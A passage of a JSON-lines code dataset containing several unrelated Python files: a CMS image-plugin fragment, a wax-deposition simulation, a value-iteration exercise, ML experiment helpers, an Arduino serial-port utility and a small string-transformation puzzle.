stage\n try:\n thumbnail = self.get_thumbnail({'width':200}, instance)\n except EasyThumbnailsError:\n thumbnail = None\n return thumbnail.url if thumbnail else missingfile_icon\n return missingfile_icon\n\n\nplugin_pool.register_plugin(FilerImagePlugin)\n\n\ndef get_thumbnail_options(context, instance):\n \"\"\"\n Return the options of the thumbnail that should be displayed for a plugin.\n :param context: dictionary with width or height parameters for the thumbnail\n \"\"\"\n width, height = None, None\n crop, upscale = False, False\n subject_location = False\n placeholder_width = context.get('width', None)\n placeholder_height = context.get('height', None)\n\n if instance.width or instance.height:\n # width and height options override everything else\n if instance.width:\n width = instance.width\n if instance.height:\n height = instance.height\n crop = instance.crop\n upscale = instance.upscale\n elif instance.thumbnail_option:\n if instance.thumbnail_option.width:\n width = instance.thumbnail_option.width\n if instance.thumbnail_option.height:\n height = instance.thumbnail_option.height\n crop = instance.thumbnail_option.crop\n upscale = instance.thumbnail_option.upscale\n else:\n if placeholder_width:\n # use the placeholder width as a hint for sizing\n width = int(placeholder_width)\n if placeholder_height:\n height = int(placeholder_height)\n\n if instance.has_attached_image():\n if instance.image.subject_location:\n subject_location = instance.image.subject_location\n if not height and width:\n # height was not externally defined: use ratio to scale it by the width\n height = int(float(width)*float(instance.image.height)/float(instance.image.width))\n if not width and height:\n # width was not externally defined: use ratio to scale it by the height\n width = int(float(height)*float(instance.image.width)/float(instance.image.height))\n if not width:\n # width is still not defined. fallback the actual image width\n width = instance.image.width\n if not height:\n # height is still not defined. fallback the actual image height\n height = instance.image.height\n return {'size': (width, height),\n 'crop': crop,\n 'upscale': upscale,\n 'subject_location': subject_location}\n","sub_path":"cmsplugin_filer_image/cms_plugins.py","file_name":"cms_plugins.py","file_ext":"py","file_size_in_byte":13987,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"595641909","text":"import os\nimport math\nimport numpy as np\nimport pandas as pd\nimport CC_DataPrep as ccd\n\nclass Master():\n\n def __init__(\n self, Files, \n C1=15, C2=0.055, C3=1.4, \n DI=0.0446, MO=0.50369, \n PIO= 101325, TOI=46,\n DowMethod = 'Wilke-Chang'\n ): \n '''\n Within this Class, we define five (5) Instance Variables:\n\n [1] Val Dictionary that maps abbreviations to its corresponding values.\n\n [2] Table Dictionary that maps Pressure, Temperature and corresponding Properties from \n TAB and WAX files.\n\n [3] dfInputs Dataframe of input dataset Tw, dw & dT/dr with simulation time as iteration \n index from 0 to 300 min with time step of 10 min.\n \n [4] dfOutputs Dataframe of output dataset defined in Symbols attribute.\n\n [5] Files List of input files (TAB, WAX & Excel files)\n\n For code efficiency, we use only two (2) main Class Methods:\n\n [1] Get Acquiring parameter values either from :\n [1] Directly from input dataset table (excel), at given simulation time index.\n [2] Directly from WAX or TAB file.\n [3] Interpolate using acquired Parameter tables.\n All values will be saved under Val and Table dictionaries.\n\n [2] Calc Step by step calculation (12 steps) of Wax Loop algorithm\n \n '''\n if os.path.isfile('./printout.txt'):\n os.remove('./printout.txt')\n\n ## Assigning all user defined parameters as Val dictionary keys and values :\n self.Val = {\n 'C1':C1, 'C2':C2, 'C3':C3,\n 'DI':DI, 'MO':MO, \n 'PIO':PIO, 'TOI':TOI, \n 'DOWMethod':DowMethod\n }\n\n ## Creating Table empty dictionary :\n self.Table = {}\n\n ## Converting the user defined input file names as instance variable list :\n self.Files = Files\n\n ## Creating dfOutput empty dataframe :\n self.dfOutputs = pd.DataFrame()\n\n ## Reading from the TAB and WAX files :\n self.Get('From Input Files')\n\n ## Transform Pio and Toi into index numbers according on TAB and WAX Pressure and Temperature tables :\n self.Get('PIO_TABIndex')\n self.Get('PIO_WAXIndex') \n self.Get('TOI_TABIndex')\n\n ## Acquiring ρo from TAB properties using Pio and Toi as index pointer :\n self.Get('RHOO')\n\n ## Acquiring Total Wax Conc in Feed from TAB properties table :\n self.Get('CWAXFEED')\n\n ## For iteration #1 we assume δt-1 is zero :\n self.Val['DELTA'] = 0\n\n for Iteration, Time in enumerate(self.dfInputs.index.values):\n self.Val['Iteration'] = Iteration + 1\n self.Val['TIME'] = Time\n\n ## Acquiring Tw, dw and dT/dr from dfInputs dataframe :\n self.Get('TW')\n self.Get('DW')\n self.Get('DT_DR')\n\n ## δt-1 is equal to δ of previous iteration :\n self.Get('DELTA_TMINUS1')\n\n ## Transform Tw into index numbers according on TAB and WAX Pressure and Temperature tables :\n self.Get('TW_TABIndex') \n self.Get('TW_WAXIndex') \n\n ## Acquiring ρow and μow from TAB properties using Pio and Tw as index pointer :\n self.Get('RHOOW')\n self.Get('UOW')\n\n ## Acquiring MWww, MWow, ρww and dC/dT from WAX properties using Pio and Tw as index pointer :\n self.Get('MWWW') \n self.Get('MWOW') \n self.Get('RHOWW') \n self.Get('DC_DT')\n\n ## Step by step calculation (12 steps) of Wax Loop algorithm :\n self.Calc('VO')\n self.Calc('DELD')\n self.Calc('NSR')\n self.Calc('REOW')\n self.Calc('FO')\n self.Calc('FW')\n self.Calc('PY1')\n self.Calc('PY2')\n self.Calc('MVWW')\n self.Calc('DOW')\n self.Calc('DDEL_DT')\n self.Calc('DELTA')\n\n ## Updating dfOutputs entry of current iteration :\n self.Save_outputs()\n \n self.dfOutputs.index.name = 'TIME'\n\n def Calc(self,func):\n\n if func=='VO':\n ## Using given mo, we first calculate Qo :\n self.Val['QO'] = self.Val['MO'] / self.Val['RHOO']\n ## Then calculating Vo, using area of circle [A = π x (dw/2)²] of the current iteration :\n self.Val['VO'] = self.Val['QO'] / (math.pi*math.pow(self.Val['DW']/2,2))\n\n elif func=='DELD':\n self.Val['DELD'] = 0.5*(self.Val['DI'] - self.Val['DW'])\n\n elif func=='NSR':\n self.Val['NSR'] = (self.Val['RHOOW'] * self.Val['VO'] * self.Val['DELD']) / self.Val['UOW']\n\n elif func=='REOW':\n self.Val['REOW'] = (self.Val['RHOOW'] * self.Val['VO'] * self.Val['DW']) / self.Val['UOW']\n\n elif func=='FO':\n self.Val['FO'] = 100*(1-((self.Val['REOW']**0.15)/8))\n\n elif func=='FW':\n self.Val['FW'] = 1-(self.Val['FO']/100)\n\n elif func=='PY1':\n self.Val['PY1'] = self.Val['C1'] / (1-(self.Val['FO']/100))\n\n elif func=='PY2':\n self.Val['PY2'] = self.Val['C2'] * (self.Val['NSR']**self.Val['C3'])\n\n elif func=='MVWW':\n ## Converting ρww from kg/m³ to g/cm³ :\n RHOWW = self.Val['RHOWW'] * 0.001\n self.Val['MVWW'] = self.Val['MWWW'] / (RHOWW)\n \n elif func=='DOW':\n ## Converting Tw from °C to K :\n TW = self.Val['TW'] + 273.15\n ## Converting μow from Pa.s to mPa.s :\n UOW = self.Val['UOW'] * 1000\n\n if self.Val['DOWMethod']=='Wilke-Chang':\n self.Val['DOW'] = 7.4E-12 * ((TW*math.pow(self.Val['MWOW'],0.5))/(UOW*math.pow(self.Val['MVWW'],0.6)))\n elif self.Val['DOWMethod']=='Hayduk-Minhass':\n self.Val['DOW'] = 13.3E-12 * ((math.pow(TW,1.47)*math.pow(UOW,(10.2/self.Val['MVWW'])-0.791))/math.pow(self.Val['MVWW'],0.71))\n\n elif func=='DDEL_DT':\n ## We incorporate also dt in seconds (from minutes) since the expected output is in mm, not mm/s\n DDEL_DT = (self.Val['PY1']/(1+self.Val['PY2']))*self.Val['DOW']*(self.Val['DC_DT']*self.Val['DT_DR'])* (10*60)\n ## Converting dδ/dt from m to mm\n self.Val['DDEL_DT'] = DDEL_DT * 1000\n\n elif func=='DELTA':\n self.Val['DELTA'] = self.Val['DELTA_TMINUS1'] + (self.Val['DDEL_DT'])\n\n def Get(self, var):\n\n if var=='From Input Files':\n '''\n From TAB file :\n [1] Pressure table Dictionary that maps to all 50 Pressure points.\n [2] Temperature table Dictionary that maps to all 50 Temperature points.\n [3] TAB properties Two-level dictionaries that maps property values at \n each pressure and temperature point.\n [1] Liquid/oil Density. \n [2] Liquid/oil Viscosity.\n\n From WAX file :\n [1] Pressure table Dictionary that maps to all 30 Pressure points.\n [2] Temperature table Dictionary that maps to all 30 Temperature points.\n [3] WAX properties Two-level dictionaries that maps property values at \n each pressure and temperature point.\n [1] Wax concentration. \n [2] Wax density.\n [3] Liquid/oil molecular weight.\n [4] Wax molecular weight.\n\n From Excel file : Tw, dw, and dT/dr values at each simulation time index.\n '''\n self.Table['P_Table_TAB'], self.Table['T_Table_TAB'], self.Table['TAB_Properties'] = ccd.Get_File_Inputs(self.Files['tab'],'tab')\n self.Table['P_Table_WAX'], self.Table['T_Table_WAX'], self.Table['WAX_Properties'] = ccd.Get_File_Inputs(self.Files['wax'],'wax')\n self.dfInputs = ccd.Get_File_Inputs(self.Files['xlsx'],'xlsx')\n \n elif var=='PIO_TABIndex':\n self.Val['PIO_TABIndex'] = ccd.P_TEMP_Index(self.Table['P_Table_TAB'], self.Val['PIO'])\n \n elif var=='TOI_TABIndex':\n self.Val['TOI_TABIndex'] = ccd.P_TEMP_Index(self.Table['T_Table_TAB'], self.Val['TOI'])\n \n elif var=='RHOO':\n self.Val['RHOO'] = ccd.Get_Property(\n self.Val['PIO_TABIndex'], self.Val['TOI_TABIndex'], self.Table['TAB_Properties']['RHOOW']\n )\n \n elif var=='CWAXFEED':\n self.Val['CWAXFEED'] = sum(self.Table['WAX_Properties']['CWAXFEED'])\n\n elif var=='TW':\n self.Val['TW'] = self.dfInputs.loc[self.Val['TIME'],'Tw']\n\n elif var=='DW':\n ## Converting dw from mm to m :\n self.Val['DW'] = self.dfInputs.loc[self.Val['TIME'],'dw'] * 0.001\n\n elif var=='DT_DR':\n self.Val['DT_DR'] = self.dfInputs.loc[self.Val['TIME'],'dT/dr']\n\n elif var=='DELTA_TMINUS1':\n self.Val['DELTA_TMINUS1'] = self.Val['DELTA']\n\n elif var=='TW_TABIndex':\n self.Val['TW_TABIndex'] = ccd.P_TEMP_Index(self.Table['T_Table_TAB'], self.Val['TW'])\n\n elif var=='PIO_WAXIndex':\n self.Val['PIO_WAXIndex'] = ccd.P_TEMP_Index(self.Table['P_Table_WAX'], self.Val['PIO'])\n\n elif var=='TW_WAXIndex':\n self.Val['TW_WAXIndex'] = ccd.P_TEMP_Index(self.Table['T_Table_WAX'], self.Val['TW'])\n\n elif var=='RHOOW':\n self.Val['RHOOW'] = ccd.Get_Property(\n self.Val['PIO_TABIndex'], self.Val['TW_TABIndex'], self.Table['TAB_Properties']['RHOOW']\n )\n\n elif var=='UOW':\n self.Val['UOW'] = ccd.Get_Property(\n self.Val['PIO_TABIndex'], self.Val['TW_TABIndex'], self.Table['TAB_Properties']['UOW']\n )\n\n elif var=='MWWW':\n self.Val['MWWW'] = ccd.Get_Property(\n self.Val['PIO_WAXIndex'], self.Val['TW_WAXIndex'], self.Table['WAX_Properties']['MWWW']\n )\n\n elif var=='MWOW':\n self.Val['MWOW'] = ccd.Get_Property(\n self.Val['PIO_WAXIndex'], self.Val['TW_WAXIndex'], self.Table['WAX_Properties']['MWOW']\n )\n\n elif var=='RHOWW':\n self.Val['RHOWW'] = ccd.Get_Property(\n self.Val['PIO_WAXIndex'], self.Val['TW_WAXIndex'], self.Table['WAX_Properties']['RHOWW']\n )\n\n elif var=='DC_DT':\n self.Val['DC_DT'] = ccd.Find_DC_DT(\n self.Val['PIO_WAXIndex'], self.Val['TW_WAXIndex'], self.Table['T_Table_WAX'], \n self.Table['WAX_Properties']['CWAX'], self.Val['CWAXFEED']\n )\n \n def Save_outputs(self):\n Unit = ccd.Abbreviations('Unit')\n Symbol = ccd.Abbreviations('Symbol')\n\n for col in Symbol.keys():\n if self.Val['Iteration']==1:\n self.dfOutputs.loc['min', Symbol[col]] = Unit[col]\n self.dfOutputs.loc[self.Val['TIME'], Symbol[col]] = ccd.round_sig(self.Val[col],5)\n","sub_path":"Citral/CC_Master.py","file_name":"CC_Master.py","file_ext":"py","file_size_in_byte":11445,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"325745489","text":"import numpy as np\nfrom matplotlib import pyplot as plt\n\nROLL = 20171158\nArr = [8.8, 9, 10, 11, 12, 13, 13.9, 15, 16, 16.5, 16.6, 17, 18, 19, 20]\n\n\"\"\"\nC(0) R(1)\nA(2) B(3)\n\"\"\"\n\nA, B, C, R = 0, 1, 2, 3\nGamma = 0.2\nDelta = 0.01\n\nV = np.zeros((4,), dtype=np.float)\n\np = np.array([\n # A B C R\n [[0.2, 0.8, 0.00, 0.00], # A, r\n [0.2, 0.0, 0.80, 0.00], # A, u\n ],\n [[0.8, 0.2, 0.00, 0.00], # B, l\n [0.0, 0.2, 0.00, 0.80], # B, u\n ],\n [[0.0, 0.0, 0.75, 0.25], # C, r\n [0.8, 0.0, 0.20, 0.00], # C, d\n ],\n])\n\n# step costs\nr0 = np.array([\n # A B C R\n [-1, -1, -1, 0], # A (a->r is an invalid move)\n [-1, -1, 0, -4], # B (b->c is an invalid move)\n [-1, 0, -1, -3], # C (c->b is an invalid move)\n [0., 0., 0, 0], # R (r->* is an invalid move)\n])\n\n# dirs\nUp, Le = 1, 0\nRi, Do = 0, 1\n\n# move_links = np.array([\n# # 0 1\n# [B, C], # A\n# [A, R], # B\n# [R, A], # C\n# [R, R], # R\n# ])\n\ndirections = np.array([\n [\"Right\", \"Up\"], # A\n [\"Left\", \"Up\"], # B\n [\"Right\", \"Down\"], # C\n])\n\n\ndef update_v(state: int, name, oldv):\n # p(R|C, r) is Pt[C][Ri][R]\n # r0(C, r, R) is r0[C][R] action can be ignored for now\n rs = np.zeros((2,), dtype=np.float)\n fxs = np.zeros((2,), dtype=np.float)\n print(\"For \", name, \":\", sep=\"\")\n for i in range(2):\n rs[i] = np.sum(p[state][i] * r0[state])\n fxs[i] = Gamma * np.sum(oldv * p[state][i])\n insum = [f\"({x})({y})\" for x, y in zip(oldv, p[state][i]) if y != 0]\n gammaterm = f\"+ r ({' + '.join(insum)})\"\n print(f\"\"\"\n\\tR({name},{directions[state][i]}) {gammaterm}\n\\t\\t= {np.round(rs[i], 5)} + {Gamma} ({np.sum(oldv * p[state][i])})\n\\t\\t= {np.round(rs[i] + fxs[i], 9)}\"\"\")\n lst = rs + fxs\n maxcv = np.max(lst)\n print(f\"\\t\\t=> max({lst[0]:.8f}, {lst[1]:.8f})\")\n V[state] = maxcv\n V[:] = np.round(V, 9)\n\n\ndef print_v(v, i, name, idx):\n print(f\"\\t\\t=> V{i}({name}) = {v[idx]}\")\n\n\ndef print_v_diff(v, oldv, i):\n ad = abs(v[A]-oldv[A])\n bd = abs(v[B]-oldv[B])\n cd = abs(v[C]-oldv[C])\n print(f\"\\n\\n\\t|V{i}(A) - V{i-1}(A)| = {ad:f}\")\n print(f\"\\t|V{i}(B) - V{i-1}(B)| = {bd:f}\")\n print(f\"\\t|V{i}(C) - V{i-1}(C)| = {cd:f}\")\n strs = []\n opstrs = []\n if ad > Delta:\n strs.append(f\"|V{i}(A) - V{i-1}(A)|\")\n else:\n opstrs.append(f\"|V{i}(A) - V{i-1}(A)| < {Delta}\")\n if bd > Delta:\n strs.append(f\"|V{i}(B) - V{i-1}(B)|\")\n else:\n opstrs.append(f\"|V{i}(B) - V{i-1}(B)| < {Delta}\")\n if cd > Delta:\n strs.append(f\"|V{i}(C) - V{i-1}(C)|\")\n else:\n opstrs.append(f\"|V{i}(C) - V{i-1}(C)| < {Delta}\")\n\n print()\n if len(strs) > 0:\n print(\"\\tBut here,\\n\\t\\t\"+\" and \".join(strs), f\"> {Delta} => didn't converge, so next iteration\")\n else:\n print(\"\\tHere,\\n\\t\\t\"+\" and \".join(opstrs), \"=> converged!\")\n\n\ndef reward_based(reward = Arr[ROLL % 15]):\n global V\n V = np.zeros((4,), dtype=np.float)\n V[R] = reward\n\n i = 0\n while True:\n i += 1\n print(\"\\niteration=\", i, sep='')\n print(\"_\"*10+\"\\n\")\n V_bef = V.copy()\n update_v(A, \"A\", V_bef)\n print_v(V, i, \"A\", A)\n update_v(B, \"B\", V_bef)\n print_v(V, i, \"B\", B)\n update_v(C, \"C\", V_bef)\n print_v(V, i, \"C\", C)\n print_v_diff(V, V_bef, i)\n if np.all(np.abs(V-V_bef) < Delta) or i > 10:\n # print(\"\\niteration=\", i, sep='')\n print_v(V, i, \"A\", A)\n print_v(V, i, \"B\", B)\n print_v(V, i, \"C\", C)\n if V[B] > V[C]:\n print(\"B > C\", reward)\n else:\n print(\"B < C\", reward)\n break\n\nif __name__ == \"__main__\":\n reward_based()\n # plot values with increasing reward\n # avals = []\n # bvals = []\n # cvals = []\n # for reward in Arr:\n # reward_based(reward)\n # avals.append(V[A])\n # bvals.append(V[B])\n # cvals.append(V[C])\n # plt.plot(Arr, avals, label=\"A\")\n # plt.plot(Arr, bvals, label=\"B\")\n # plt.plot(Arr, cvals, label=\"C\")\n # plt.legend()\n # plt.show()\n","sub_path":"value_iter.py","file_name":"value_iter.py","file_ext":"py","file_size_in_byte":4132,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"499764548","text":"import json\nfrom typing import List, NewType\nfrom torch._C import ClassType\nfrom src.logger import init_logger\nfrom src.constants import CACHE_DATA_DIR, ROOT_DIR, SRC_DIR\nfrom src.data.data_reader.read_featurized_cache import read_featurized\nfrom src.models.model_run_job import ModelJob, ModelJobParams\nfrom src.keys import NEPTUNE_TOKEN\n\nfrom dataclasses import asdict\n\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport os \nimport logging\nimport neptune\nimport shutil\nfrom neptune.experiments import Experiment\nfrom src.models.model_writer_reader import initialize_artifact_folder\n\nfrom src.models.params import Params\nfrom src.neptune import init_experiment, log_neptune_timeline\n\ndef init_training_job(is_dev:bool, exp_name:str, exp_description:str, hyper_params:Params, job_params: ModelJobParams, upload_files:list, tags:list = None) -> Experiment:\n '''Initalizes and creates a neptune experiment. ''' \n\n hyper_params_dict = asdict(hyper_params)\n job_params_dict = asdict(job_params)\n hyper_params_dict.update(job_params_dict)\n hyper_params_dict['device'] = f'cuda:{hyper_params.device_num}' \n print(json.dumps(hyper_params_dict, indent=4))\n\n if os.path.exists('./artifacts'):\n shutil.rmtree('./artifacts')\n \n logger = init_logger()\n exp_tags = [f'{\"dev\" if is_dev else \"full\"}'] + tags\n exp:Experiment = init_experiment(\n exp_name=exp_name, \n exp_description=exp_description, \n tags=exp_tags,\n params=hyper_params_dict, \n upload_files=upload_files,\n logger=logger\n )\n logger.info('Starting experiment')\n log_neptune_timeline('Starting experiment', exp)\n return exp\n\ndef init_legacy_training_job(is_dev:bool, exp_name:str, exp_description:str, params:dict, tags:list=None):\n '''Initalizes and creates a neptune experiment. ''' \n\n if os.path.exists('./artifacts'):\n shutil.rmtree('./artifacts')\n \n logger = init_logger()\n exp_tags = [f'{\"dev\" if is_dev else \"full\"}'] + tags\n upload_files = [f'{SRC_DIR}/old/nnModel.py', f'{SRC_DIR}/old/model_run.py']\n exp:Experiment = init_experiment(\n exp_name=exp_name, \n exp_description=exp_description, \n params=params, \n tags=exp_tags, \n upload_files=upload_files, \n logger=logger\n )\n logger.info('Starting experiment')\n log_neptune_timeline('Starting experiment', exp)\n return exp\n\ndef get_dev_data(exp:Experiment):\n message = 'Reading Dev Data'\n log_neptune_timeline(message, exp)\n logging.info(message)\n path = f'{CACHE_DATA_DIR}/train/training_data_development.pickle'\n dev_data = read_featurized(path, exp)\n return dev_data\n\ndef get_full_data(exp:Experiment):\n message = 'Reading Full Data'\n log_neptune_timeline(message, exp)\n logging.info(message)\n path = f'{CACHE_DATA_DIR}/train/training_data.pickle'\n dev_data = read_featurized(path, exp)\n return dev_data\n\ndef run_training_experiment(\n exp_name:str, \n exp_description:str, \n tags:list, \n is_dev:bool, \n hyper_params:Params, \n job_params:ModelJobParams, \n model_file_path:str, \n model_class, \n job_class,\n artifact_folder:str=None, \n):\n #TODO Set PyTorch random seed\n model_run_path = f\"{SRC_DIR}/models/model_run_job.py\"\n upload_files = [model_file_path, model_run_path]\n exp = init_training_job(\n is_dev=is_dev,\n exp_name=exp_name,\n exp_description=exp_description,\n hyper_params=hyper_params,\n job_params=job_params,\n tags=tags,\n upload_files=upload_files\n )\n\n if is_dev:\n data = get_dev_data(exp)\n else:\n data = get_full_data(exp)\n\n model = model_class(hyper_params)\n training_job = job_class(job_params, model, exp, artifact_folder)\n training_job.run_job(data)\n \n\n\ndef legacy_training_run_str(model_name:str, model_code:str, exp_description:str, exp_name:str, is_dev:str, tags:list):\n tags_arg = ','.join(tags)\n model_run_script_path = f'{ROOT_DIR}/virtuosoNet/src/old/model_run.py'\n data_path = f'{CACHE_DATA_DIR}/train/training_data_development' if is_dev == 'true' else f'{CACHE_DATA_DIR}/train/training_data'\n run_str = f'{model_run_script_path} -mode=train -code={model_code} -data={data_path} -model_name={model_name} -is_dev={is_dev} -exp_name={exp_name} -exp_description={exp_description} -tags={tags_arg}'\n return run_str\n\n# is_dev=True\n# hyper_params = TransformerEncoderHyperParams()\n# job_params = TransformerEncoderJobParams(is_dev=is_dev, epochs=50)\n# model_file_path = f\"{SRC_DIR}/models/transformer.py\"\n# run_training_experiment(\n# exp_name=\"With Tempo Loss\",\n# exp_description=\"Running with tempo loss instead of note loss\"\n# tags=['transformer_encoder']\n# is_dev=is_dev,\n# hyper_params=hyper_params,\n# job_params=job_params,\n# model_file_path=model_file_path,\n# model_folder=\"transfomer/transformer_encoder\",\n# model_class=TransformerEncoder,\n# job_class=TransformerEncoderJob\n# )\n","sub_path":"src/experiments/training/training.py","file_name":"training.py","file_ext":"py","file_size_in_byte":4797,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"552800285","text":"import serial\nimport serial.tools.list_ports as list_ports\nfrom serial.tools.list_ports_common import ListPortInfo\n\n\nclass SerialDevice:\n STANDARD_BAUDS = (50, 75, 110, 134, 150, 200, 300, 600,\n 1200, 1800, 2400, 4800, 9600, 19200,\n 38400, 57600, 115200)\n\n EXTENDED_BAUDS = (230400, 460800, 500000, 576000, 921600,\n 1000000, 1152000, 1500000, 2000000,\n 2500000, 3000000, 3500000, 4000000)\n\n ARDUINO_HIDS = ((0x2341, 0x0043), (0x2341, 0x0001),\n (0x2A03, 0x0043), (0x2341, 0x0243),\n (0x0403, 0x6001), (0x1A86, 0x7523))\n\n def __init__(self, port = None, baud = 115200) -> None:\n self.ser = serial.Serial(timeout = 1)\n self.connected = False\n self.port = port\n self.baud = self.confirm_baud(baud)\n self.ser.baudrate = self.baud\n\n # try to autoselect a port if no port was specified\n if not port:\n arduino_ports = self.autodetect_ports()\n for port in arduino_ports:\n if not self.connected:\n print('possible arduino port detected:')\n print_port_info(port)\n self.connect(port)\n if not self.connected:\n print('no recognized ports found. manually select one:')\n \n self.connect(self.manual_select_port())\n else:\n self.connect(port)\n \n def __del__(self) -> None:\n self.ser.close()\n\n def autodetect_ports(self) -> list:\n ports = list_ports.comports()\n arduino_ports = []\n for port in ports:\n if (port.vid, port.pid) in SerialDevice.ARDUINO_HIDS:\n arduino_ports.append(port)\n return arduino_ports\n\n def manual_select_port(self) -> ListPortInfo:\n ports = list_ports.comports()\n port_list = [port for port in ports]\n print('found ports:')\n for id, port in enumerate(port_list):\n print('{}:'.format(id))\n print_port_info(port)\n print()\n\n while True:\n selection = input('select a port: ').strip()\n if selection.isnumeric():\n selection = int(selection)\n if selection not in range(0, len(port_list)):\n print('invalid selection!')\n else:\n return port_list[int(selection)]\n\n def connect(self, port: ListPortInfo) -> None:\n if yesno_confirm('connect with baud rate {}?'.format(self.baud)):\n self.port = port\n try:\n self.ser.port = self.port.device\n self.ser.baudrate = self.baud\n self.ser.open()\n self.connected = True\n print('opened port {}'.format(port.name))\n except:\n print('can\\'t connect to port {}! is the port already in use?'.format(self.port.device))\n pass\n else:\n print('not connecting to port {}.'.format(port.name))\n\n def confirm_baud(self, baud: int) -> int:\n print('the currently selected baud rate is {}.'.format(baud))\n \n if yesno_confirm('would you like to change it?'):\n baud_choice = ''\n while True:\n baud_choice = input('enter a new baud rate: ').strip()\n if not baud_choice.isnumeric():\n print('invalid input! please enter a number.')\n else:\n baud_choice = int(baud_choice)\n if baud_choice in SerialDevice.EXTENDED_BAUDS:\n print('baud rate {} is not standard, but may still be supported on some machines.'.format(baud_choice))\n if yesno_confirm('are you sure you want to select baud rate {}?'.format(baud_choice)):\n print('using baud rate {}.'.format(baud_choice))\n return int(baud_choice)\n elif baud_choice in SerialDevice.STANDARD_BAUDS:\n print('using baud rate {}.'.format(baud_choice))\n return int(baud_choice)\n else:\n print('baud rate {} is not standard, and is likely not supported.'.format(baud_choice))\n if yesno_confirm('are you sure you want to select baud rate {}?'.format(baud_choice)):\n print('using baud rate {}.'.format(baud_choice))\n return int(baud_choice)\n else:\n return baud\n\n def read(self) -> str:\n line = ''\n if self.connected:\n line = self.ser.readline().decode()\n return line\n\n def write(self, string) -> None:\n if self.connected:\n self.ser.write('{}\\r'.format(string).encode())\n\n\ndef print_port_info(port: ListPortInfo) -> None:\n print('\\tname: {}'.format(port.name))\n print('\\tdevice: {}'.format(port.device))\n print('\\tdescription: {}'.format(port.description))\n print('\\thwid: {}'.format(port.hwid))\n\n\ndef yesno_confirm(message) -> bool:\n confirm_choice = ''\n while confirm_choice not in ('y', 'n'):\n confirm_choice = input(\"{} (y/n) \".format(message)).lower().strip()\n if confirm_choice not in ('y', 'n'):\n print('please enter \"y\" or \"n\"')\n return confirm_choice == 'y'\n\n\nif __name__ == '__main__':\n dev = SerialDevice()\n while True:\n line = dev.read()\n if len(line) > 0:\n print(line, end='')","sub_path":"Code/python/SerialDevice.py","file_name":"SerialDevice.py","file_ext":"py","file_size_in_byte":5559,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"146729721","text":"import torch\nfrom torch.utils.data import DataLoader\n\nfrom utils.utils import create_log_dir\nfrom utils.init_env import init_env\nfrom algorithms.nn.actor_critic import ActorCriticTwoMLP\nfrom algorithms.agents.bc import BehaviorCloningAgent, BCDataSet\nfrom trainers.behavior_cloning import BehaviorCloningTrainer\n\n\ntest_env_num = 4\ndistribution = 'Categorical'\ndevice = torch.device('cpu')\nlog_dir = 'logs_py/cart_pole/bc_10_episodes/'\n\ndemo_file = 'demo_files/cart_pole_demo_10.pickle'\nbatch_size = 32\n\nenv_args = {'env_type': 'gym', 'env_name': 'CartPole-v1', 'env_args': dict()}\nactor_critic_args = {\n 'observation_size': 4, 'hidden_size': 16, 'action_size': 2,\n 'distribution': distribution\n}\nagent_train_args = {'learning_rate': 0.01, 'loss_type': 'log_prob'}\ntrainer_args = {'n_plot_agents': 1, 'log_dir': log_dir}\ntrain_args = {'n_epoch': 10, 'n_tests_per_epoch': 100}\n\n\ndef make_agent_online():\n # test.py will use 'config.make_agent_online' method to create agent\n actor_critic_train = ActorCriticTwoMLP(**actor_critic_args)\n agent = BehaviorCloningAgent(\n actor_critic_train, device, distribution,\n **agent_train_args\n )\n return agent\n\n\ndef main():\n create_log_dir(log_dir, __file__)\n\n test_env = init_env(**env_args, env_num=test_env_num)\n demo_data = BCDataSet(demo_file)\n demo_buffer = DataLoader(demo_data, batch_size=batch_size, shuffle=True)\n agent = make_agent_online()\n\n trainer = BehaviorCloningTrainer(\n agent, demo_buffer,\n test_env=test_env,\n log_dir=log_dir\n )\n trainer.train(**train_args)\n\n test_env.close()\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"train_scripts/bc/cart_pole_10_episodes.py","file_name":"cart_pole_10_episodes.py","file_ext":"py","file_size_in_byte":1654,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"605510240","text":"__author__ = 'gregortaube'\n\n'''\ninitial letter is A. A's are transformed to B's. B's are transformed to BA's\nsince it takes TWO transoformations for one be to give ONE MORE B: B-> BA -> BAB\nand A takes ONE transformation to give ONE B. Bn = B(n-1) + B(n-2) or just Bn = B(n-1) + A(n-1)\nIt is possible to use memoization here to compute less.\nwith N transformation we will have the Nth Fibonacci number of B's.\nThe length of the strings themselves also follow the fibonacci sequence.\n'''\n\ndef transform(initial, trans):\n stringToBuild = initial\n for x in range(trans):\n temp = \"\"\n for letter in stringToBuild:\n if letter == 'A':\n temp +='B'\n else:\n temp+='BA'\n stringToBuild = temp\n return stringToBuild\n\ndef countLetter(text,letter):\n count = 0\n for char in text:\n if char == letter:\n count+=1\n return count\n\n\n\n\ninitialLetter = 'A'\ncountA = 0\ncountB = 0\n\nnumTransformations = int(input())\n\n\n\nnewString = transform(initialLetter,numTransformations)\n\nfor x in range(20):\n test = (transform(initialLetter,x))\n print(countLetter(test,'B'))\n\n\n\ncountA = countLetter(newString,'A')\ncountB = countLetter(newString,'B')\n\n# print(\"%d %d\" %(countA,countB))","sub_path":"intermediate/rijeci-BADIMPLEMENTATION.py","file_name":"rijeci-BADIMPLEMENTATION.py","file_ext":"py","file_size_in_byte":1261,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"621785822","text":"import numpy as np\nfrom common.sheetOperations import SheetOps\nimport Edelweiss.edleConfig as edleConfig\nfrom common.common import CommonFunctions\nimport config\nimport warnings\nwarnings.filterwarnings(\"ignore\")\n\nclass HelpEd:\n\n def __init__(self):\n self.objSheet = SheetOps()\n self.objCommon = CommonFunctions()\n\n # def cal_outliers(self, lst):\n # mn = np.mean(lst)\n # sd = np.std(lst)\n # final_list = [x for x in lst if (x > mn - 2 * sd)]\n # final_list = [x for x in final_list if (x < mn + 2 * sd)]\n # list_of_outliers = list(set(lst) - set(final_list))\n # # print('outliers:', list_of_outliers)\n # return list_of_outliers\n\n # def cal_change_OI(self, df):\n # try:\n # df['OI_change'] = 0\n # df_length = 